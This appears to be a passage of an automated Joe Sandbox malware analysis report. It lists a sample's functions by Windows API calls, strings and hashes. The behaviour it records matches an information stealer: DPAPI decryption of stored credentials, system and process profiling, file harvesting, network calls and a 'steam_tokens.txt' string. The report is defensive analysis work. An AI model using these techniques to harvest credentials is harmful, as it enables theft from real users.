Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,041D6220,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleInternetLastLogicalMemoryModuleNextNotificationPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 1035121393-2211245587
Opcode ID: 8b033d71a75b0a659c9550832104cb48f202312a58c6f872a4bc729aaadf1e74
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: 8b033d71a75b0a659c9550832104cb48f202312a58c6f872a4bc729aaadf1e74
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,041F6780), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

, xrefs: 004097A3
DPAPI, xrefs: 0040976B

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2647593125-1819349886
Opcode ID: b7f4a53806341329f0c8cf58e5e612071402de3d3ed0e05b65ae4abbc920533e
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: b7f4a53806341329f0c8cf58e5e612071402de3d3ed0e05b65ae4abbc920533e
Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 663210355256c1a79006bc930096bf3c730480ad8148fdf9ee136a6da0e86fe2
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: 663210355256c1a79006bc930096bf3c730480ad8148fdf9ee136a6da0e86fe2
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,041F3440,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,041F3440,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 0040679E, 004067C2, 00406884, 0040689F, 0040684E

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: 85c67f99e022b53bf17435a6d7f42a962d884bf02f2d202c56b95b99adfd8f66
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: 85c67f99e022b53bf17435a6d7f42a962d884bf02f2d202c56b95b99adfd8f66
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,041F3450), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,041F3410), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,041F3460), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 3a96b665b3cbcbf55da3d0258d3f7f573c41df7ba93c0507f9044406bed029a1
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: 3a96b665b3cbcbf55da3d0258d3f7f573c41df7ba93c0507f9044406bed029a1
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,041F3450), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,041F3410), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,041F3460), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 31357a372ffa8051568a26c3519af1ef57e737c077d660d25448396aefe02b83
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: 31357a372ffa8051568a26c3519af1ef57e737c077d660d25448396aefe02b83
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,041F75C0), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,041F3790), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,00000001), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: 0059c6a1cdbce71a941e6102a03021f307d23a853d510470ca8830f04c47ea2b
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: 0059c6a1cdbce71a941e6102a03021f307d23a853d510470ca8830f04c47ea2b
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00415B70 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
CloseHandle.KERNEL32(00000000), ref: 00415BAF

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction ID: b12b055c0fde6327b7bfc42128d307bcca402a5100f46dd347d8d84938e244fe
Opcode Fuzzy Hash: 97fc9d568dab5260ce1fa1a51ba1ebaf2853d767a04b83f08cd6b5726440208b
Instruction Fuzzy Hash: C5F05475A0010CFBDB14DFA4DC4AFED7778BB08300F004499BA0597280D6B06E85CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414400 Relevance: 4.5, APIs: 3, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
HeapAlloc.KERNEL32(00000000), ref: 00414414
GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction ID: 2ac30a00ccf60c4f43266989ac8565747831d88261cb92d9c694311de33eed43
Opcode Fuzzy Hash: 6e220fa814439a9a47cb0e7b1b891ce31241d7c627682025937d03601ca1af04
Instruction Fuzzy Hash: F1E0D8B0A00608FBCB20DFE4DD48BDD77BCAB04305F100055FA05D3240D7749A458B96

Uniqueness

Uniqueness Score: -1.00%

Function 004010D0 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
ExitProcess.KERNEL32 ref: 00401103

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction ID: b86936f0f7b92ad6105a5e8d9325c57b614f4cde8fc05540e07f2d0ff83aec39
Opcode Fuzzy Hash: b1c8d233814077f36e701fc9dcba40fcf29c53b912e4e1fc8df77dce1fb5e496
Instruction Fuzzy Hash: 1BE0867098570CBBE7309BA0DD0AB1976689B08B06F101055F7097A1D0C6B425008699

Uniqueness

Uniqueness Score: -1.00%

Function 004119B0 Relevance: 3.1, APIs: 2, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004119C8

Part of subcall function 00411650: wsprintfA.USER32 ref: 00411669
Part of subcall function 00411650: FindFirstFileA.KERNEL32(?,?), ref: 00411680

strtok_s.MSVCRT ref: 00411A4D

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: strtok_s$FileFindFirstwsprintf
String ID:
API String ID: 3409980764-0
Opcode ID: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction ID: 5fc3070f54b5ba386e916c7c3ae22cc6ad81f817c7a7f871d2ab45b9afc63085
Opcode Fuzzy Hash: 975833a798ef07385fb740c26f6e35f7306421425023d288693ea324a83a39c3
Instruction Fuzzy Hash: 19215471900108EBCB14FFA5CC55FED7B79AF44345F10805AF51A97151EB386B84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412B30 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041F3440,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(00000000,00000000,0041D599,?,?,?,?,?,?,00412FF8,?), ref: 00412B5A

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,041F37A0), ref: 00404ED9

Strings

steam_tokens.txt, xrefs: 00412B6F

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$InternetOpen
String ID: steam_tokens.txt
API String ID: 2934705399-401951677
Opcode ID: 0e3b4742804874a780a066254cb668122dfdc385ba13d8aa658f83288e45540c
Instruction ID: 10dd2298c38adeb5e36390c5bfe4eda46295fd03d88468a146a299c80adb3810
Opcode Fuzzy Hash: 0e3b4742804874a780a066254cb668122dfdc385ba13d8aa658f83288e45540c
